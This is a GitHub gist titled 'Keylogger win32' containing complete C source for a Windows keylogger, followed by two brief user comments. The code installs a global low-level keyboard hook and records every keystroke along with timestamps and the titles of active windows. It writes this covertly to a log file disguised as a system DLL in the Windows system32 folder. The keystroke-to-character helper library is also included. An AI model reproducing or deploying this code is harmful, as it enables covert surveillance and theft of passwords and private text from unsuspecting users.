Skip to content

Instantly share code, notes, and snippets.

@gabonator
Created May 20, 2017 12:09
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gabonator/6196047e799b85cf0d93fae3a86c8990 to your computer and use it in GitHub Desktop.
Save gabonator/6196047e799b85cf0d93fae3a86c8990 to your computer and use it in GitHub Desktop.
Keylogger win32
//*******************************************************************
// Program: kbdext.c
// Source files: kbdext.c kbdext.h
// Author: Marc-André Moreau
// Last update: September 18th, 2008
// Description: Replacement API for Microsoft's ToUnicode() function
// You should load the current keyboard layout with loadKeyboardLayout()
// before calling convertVirtualKeyToWChar()
//*******************************************************************
#include "kbdext.h"
#include <stdio.h>
//typedef PKBDTABLES(CALLBACK* KbdLayerDescriptor)(VOID);
typedef PKBDTABLES (*KbdLayerDescriptor)(VOID);
typedef DWORD (*TT)();
PVK_TO_WCHARS1 pVkToWchars1 = NULL;
PVK_TO_WCHARS2 pVkToWchars2 = NULL;
PVK_TO_WCHARS3 pVkToWchars3 = NULL;
PVK_TO_WCHARS4 pVkToWchars4 = NULL;
PVK_TO_WCHARS5 pVkToWchars5 = NULL;
PVK_TO_WCHARS6 pVkToWchars6 = NULL;
PVK_TO_WCHARS7 pVkToWchars7 = NULL;
PVK_TO_WCHARS8 pVkToWchars8 = NULL;
PVK_TO_WCHARS9 pVkToWchars9 = NULL;
PVK_TO_WCHARS10 pVkToWchars10 = NULL;
PMODIFIERS pCharModifiers;
PDEADKEY pDeadKey;
HINSTANCE loadKeyboardLayout()
{
PKBDTABLES pKbd;
HINSTANCE kbdLibrary;
KbdLayerDescriptor pKbdLayerDescriptor = NULL;
char layoutFile[MAX_PATH];
if(getKeyboardLayoutFile(layoutFile, sizeof(layoutFile)) == -1)
return NULL;
char systemDirectory[MAX_PATH];
GetSystemDirectory(systemDirectory, MAX_PATH);
char kbdLayoutFilePath[MAX_PATH];
_snprintf(kbdLayoutFilePath, MAX_PATH, "%s\\%s", systemDirectory, layoutFile);
kbdLibrary = LoadLibrary(kbdLayoutFilePath);
pKbdLayerDescriptor = (KbdLayerDescriptor)GetProcAddress(kbdLibrary, "KbdLayerDescriptor");
if(pKbdLayerDescriptor != NULL)
pKbd = pKbdLayerDescriptor();
else
return NULL;
int i = 0;
do
{
INIT_PVK_TO_WCHARS(i, 1)
INIT_PVK_TO_WCHARS(i, 2)
INIT_PVK_TO_WCHARS(i, 3)
INIT_PVK_TO_WCHARS(i, 4)
INIT_PVK_TO_WCHARS(i, 5)
INIT_PVK_TO_WCHARS(i, 6)
INIT_PVK_TO_WCHARS(i, 7)
INIT_PVK_TO_WCHARS(i, 8)
INIT_PVK_TO_WCHARS(i, 9)
INIT_PVK_TO_WCHARS(i, 10)
i++;
}
while(pKbd->pVkToWcharTable[i].cbSize != 0);
pCharModifiers = pKbd->pCharModifiers;
pDeadKey = pKbd->pDeadKey;
return kbdLibrary;
}
int unloadKeyboardLayout(HINSTANCE kbdLibrary)
{
if(kbdLibrary != 0)
return (FreeLibrary(kbdLibrary) != 0);
else
return 0;
}
int convertVirtualKeyToWChar(int virtualKey, PWCHAR outputChar, PWCHAR deadChar)
{
int i = 0;
short state = 0;
int shift = -1;
int mod = 0;
int charCount = 0;
WCHAR baseChar;
WCHAR diacritic;
*outputChar = 0;
int capsLock = (GetKeyState(VK_CAPITAL) & 0x1);
do
{
state = GetAsyncKeyState(pCharModifiers->pVkToBit[i].Vk);
if(pCharModifiers->pVkToBit[i].Vk == VK_SHIFT)
shift = i + 1; // Get modification number for Shift key
if(state & ~SHRT_MAX)
{
if(mod == 0)
mod = i + 1;
else
mod = 0; // Two modifiers at the same time!
}
i++;
}
while(pCharModifiers->pVkToBit[i].Vk != 0);
SEARCH_VK_IN_CONVERSION_TABLE(1)
SEARCH_VK_IN_CONVERSION_TABLE(2)
SEARCH_VK_IN_CONVERSION_TABLE(3)
SEARCH_VK_IN_CONVERSION_TABLE(4)
SEARCH_VK_IN_CONVERSION_TABLE(5)
SEARCH_VK_IN_CONVERSION_TABLE(6)
SEARCH_VK_IN_CONVERSION_TABLE(7)
SEARCH_VK_IN_CONVERSION_TABLE(8)
SEARCH_VK_IN_CONVERSION_TABLE(9)
SEARCH_VK_IN_CONVERSION_TABLE(10)
if(*deadChar != 0) // I see dead characters...
{
i = 0;
do
{
baseChar = (WCHAR)pDeadKey[i].dwBoth;
diacritic = (WCHAR)(pDeadKey[i].dwBoth >> 16);
if((baseChar == *outputChar) && (diacritic == *deadChar))
{
*deadChar = 0;
*outputChar = (WCHAR)pDeadKey[i].wchComposed;
}
i++;
}
while(pDeadKey[i].dwBoth != 0);
}
return charCount;
}
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize)
{
HKEY hKey;
DWORD varType = REG_SZ;
char kbdName[KL_NAMELENGTH];
GetKeyboardLayoutName(kbdName);
char kbdKeyPath[51 + KL_NAMELENGTH];
_snprintf(kbdKeyPath, 51 + KL_NAMELENGTH,
"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", kbdName);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCTSTR)kbdKeyPath, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
return -1;
if(RegQueryValueEx(hKey, "Layout File", NULL, &varType, (LPBYTE)layoutFile, &bufferSize) != ERROR_SUCCESS)
return -1;
RegCloseKey(hKey);
return 1;
}
//*******************************************************************
// Program: kbdext.c
// Source file: kbdext.h
// Author: Marc-André Moreau
// Last update: September 16th, 2008
// Description: Header File containing function prototypes as well as
// many definitions and macros for extended keyboard function. Some
// parts were taken directly from Microsoft's kbd.h header file that
// is shipped with the Windows Driver Development Kit. It was an
// inconvenient to download and install the whole Windows DDK only
// for kbd.h so I just copied everything that was needed here.
//*******************************************************************
#ifndef _KBD_EXT_
#define _KBD_EXT_
#include <windows.h>
#include <limits.h>
HINSTANCE loadKeyboardLayout();
int unloadKeyboardLayout(HINSTANCE kbdLibrary);
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize);
int convertVirtualKeyToWChar(int virtualKey, PWCHAR out, PWCHAR buffer);
#if defined(BUILD_WOW6432)
#define KBD_LONG_POINTER __ptr64
#else
#define KBD_LONG_POINTER
#endif
#define CAPLOK 0x01
#define WCH_NONE 0xF000
#define WCH_DEAD 0xF001
typedef struct {
BYTE Vk;
BYTE ModBits;
} VK_TO_BIT, *KBD_LONG_POINTER PVK_TO_BIT;
typedef struct {
PVK_TO_BIT pVkToBit;
WORD wMaxModBits;
BYTE ModNumber[1];
} MODIFIERS, *KBD_LONG_POINTER PMODIFIERS;
typedef struct _VSC_VK {
BYTE Vsc;
USHORT Vk;
} VSC_VK, *KBD_LONG_POINTER PVSC_VK;
typedef struct _VK_VSC {
BYTE Vk;
BYTE Vsc;
} VK_VSC, *KBD_LONG_POINTER PVK_VSC;
#define TYPEDEF_VK_TO_WCHARS(n) typedef struct _VK_TO_WCHARS##n { \
BYTE VirtualKey; \
BYTE Attributes; \
WCHAR wch[n]; \
} VK_TO_WCHARS##n, *KBD_LONG_POINTER PVK_TO_WCHARS##n;
TYPEDEF_VK_TO_WCHARS(1)
TYPEDEF_VK_TO_WCHARS(2)
TYPEDEF_VK_TO_WCHARS(3)
TYPEDEF_VK_TO_WCHARS(4)
TYPEDEF_VK_TO_WCHARS(5)
TYPEDEF_VK_TO_WCHARS(6)
TYPEDEF_VK_TO_WCHARS(7)
TYPEDEF_VK_TO_WCHARS(8)
TYPEDEF_VK_TO_WCHARS(9)
TYPEDEF_VK_TO_WCHARS(10)
typedef struct _VK_TO_WCHAR_TABLE {
PVK_TO_WCHARS1 pVkToWchars;
BYTE nModifications;
BYTE cbSize;
} VK_TO_WCHAR_TABLE, *KBD_LONG_POINTER PVK_TO_WCHAR_TABLE;
typedef struct {
DWORD dwBoth;
WCHAR wchComposed;
USHORT uFlags;
} DEADKEY, *KBD_LONG_POINTER PDEADKEY;
#define TYPEDEF_LIGATURE(n) typedef struct _LIGATURE##n { \
BYTE VirtualKey; \
WORD ModificationNumber; \
WCHAR wch[n]; \
} LIGATURE##n, *KBD_LONG_POINTER PLIGATURE##n;
TYPEDEF_LIGATURE(1)
TYPEDEF_LIGATURE(2)
TYPEDEF_LIGATURE(3)
TYPEDEF_LIGATURE(4)
TYPEDEF_LIGATURE(5)
typedef struct {
BYTE vsc;
WCHAR *KBD_LONG_POINTER pwsz;
} VSC_LPWSTR, *KBD_LONG_POINTER PVSC_LPWSTR;
typedef WCHAR *KBD_LONG_POINTER DEADKEY_LPWSTR;
typedef struct tagKbdLayer {
PMODIFIERS pCharModifiers;
PVK_TO_WCHAR_TABLE pVkToWcharTable;
PDEADKEY pDeadKey;
PVSC_LPWSTR pKeyNames;
PVSC_LPWSTR pKeyNamesExt;
WCHAR *KBD_LONG_POINTER *KBD_LONG_POINTER pKeyNamesDead;
USHORT *KBD_LONG_POINTER pusVSCtoVK;
BYTE bMaxVSCtoVK;
PVSC_VK pVSCtoVK_E0;
PVSC_VK pVSCtoVK_E1;
DWORD fLocaleFlags;
BYTE nLgMax;
BYTE cbLgEntry;
PLIGATURE1 pLigature;
DWORD dwType;
DWORD dwSubType;
} KBDTABLES, *KBD_LONG_POINTER PKBDTABLES;
// Extended macros
#define INIT_PVK_TO_WCHARS(i, n) \
if((pKbd->pVkToWcharTable[i].cbSize - 2) / 2 == n) \
pVkToWchars##n = (PVK_TO_WCHARS##n)pKbd->pVkToWcharTable[i].pVkToWchars; \
#define SEARCH_VK_IN_CONVERSION_TABLE(n) \
i = 0; \
if(pVkToWchars##n && (mod < n)) \
{ \
do \
{ \
if(pVkToWchars##n[i].VirtualKey == virtualKey) \
{ \
if((pVkToWchars##n[i].Attributes == CAPLOK) && capsLock) { \
if(mod == shift) mod = 0; else mod = shift; } \
*outputChar = pVkToWchars##n[i].wch[mod]; \
charCount = 1; \
if(*outputChar == WCH_NONE) { charCount = 0; } \
else if(*outputChar == WCH_DEAD) \
{ \
*deadChar = pVkToWchars##n[i + 1].wch[mod]; \
charCount = 0; \
} \
break;\
} \
i++; \
} \
while(pVkToWchars##n[i].VirtualKey != 0); \
} \
#endif // _KBD_EXT_
//http://www.docdroppers.org/wiki/index.php?title=Writing_Keyloggers
#define _WIN32_WINNT 0x0400
#include "kbdext.h"
#include <stdio.h>
#include <windows.h>
#include <time.h>
int nChar;
FILE* keylog;
WCHAR outputChar;
WCHAR deadChar;
HHOOK hKeyHook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
nChar = convertVirtualKeyToWChar(kbdStruct.vkCode, (PWCHAR)&outputChar, (PWCHAR)&deadChar);
if(nChar > 0)
{
//WCHAR str[2] = {outputChar, 0};
CHAR result[16] = {0};
int nLen = WideCharToMultiByte( CP_UTF8, 0, &outputChar, 1, result, 15, NULL, NULL );
if ( nLen > 0 )
fwrite(result, nLen, 1, keylog);
}
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
void PutTimestamp(FILE *f, CHAR *msg)
{
time_t rawtime;
struct tm * timeinfo;
CHAR strTimestamp[128];
time ( &rawtime );
timeinfo = localtime ( &rawtime );
strftime( strTimestamp, 127, msg, timeinfo );
fprintf( f, strTimestamp );
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
keylog = fopen("C:\\windows\\system32\\uafx32.dll", "a");
fprintf(keylog, "===========================\n");
PutTimestamp(keylog, "%d%m%y_%H%M%S - Service started\n");
deadChar = 0;
HINSTANCE kbdLibrary = loadKeyboardLayout();
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);
MSG message;
HWND hWindow = NULL;
CHAR strWindowName[256] = {0};
LONG lTick = 0;
while (1)
{
if ( PeekMessage(&message, NULL, 0, 0, FALSE ) )
{
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
} else
{
Sleep(1);
HWND hNew = GetForegroundWindow();
if ( hNew != hWindow )
{
hWindow = hNew;
GetWindowText(hWindow, strWindowName, 255);
PutTimestamp(keylog, "\n%d%m%y_%H%M%S - ");
fprintf(keylog, "Window [%s]\n", strWindowName);
}
if ( GetTickCount() - lTick > 10000 )
{
fflush(keylog);
lTick = GetTickCount();
}
}
}
UnhookWindowsHookEx(hKeyHook);
PutTimestamp(keylog, "%d%m%y_%H%M%S - Service stopped\n");
fclose(keylog);
return 0;
}
@Binary-Assassin
Copy link

hi
do we have any documentation for its testing?

@kwhat
Copy link

kwhat commented Apr 30, 2024

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment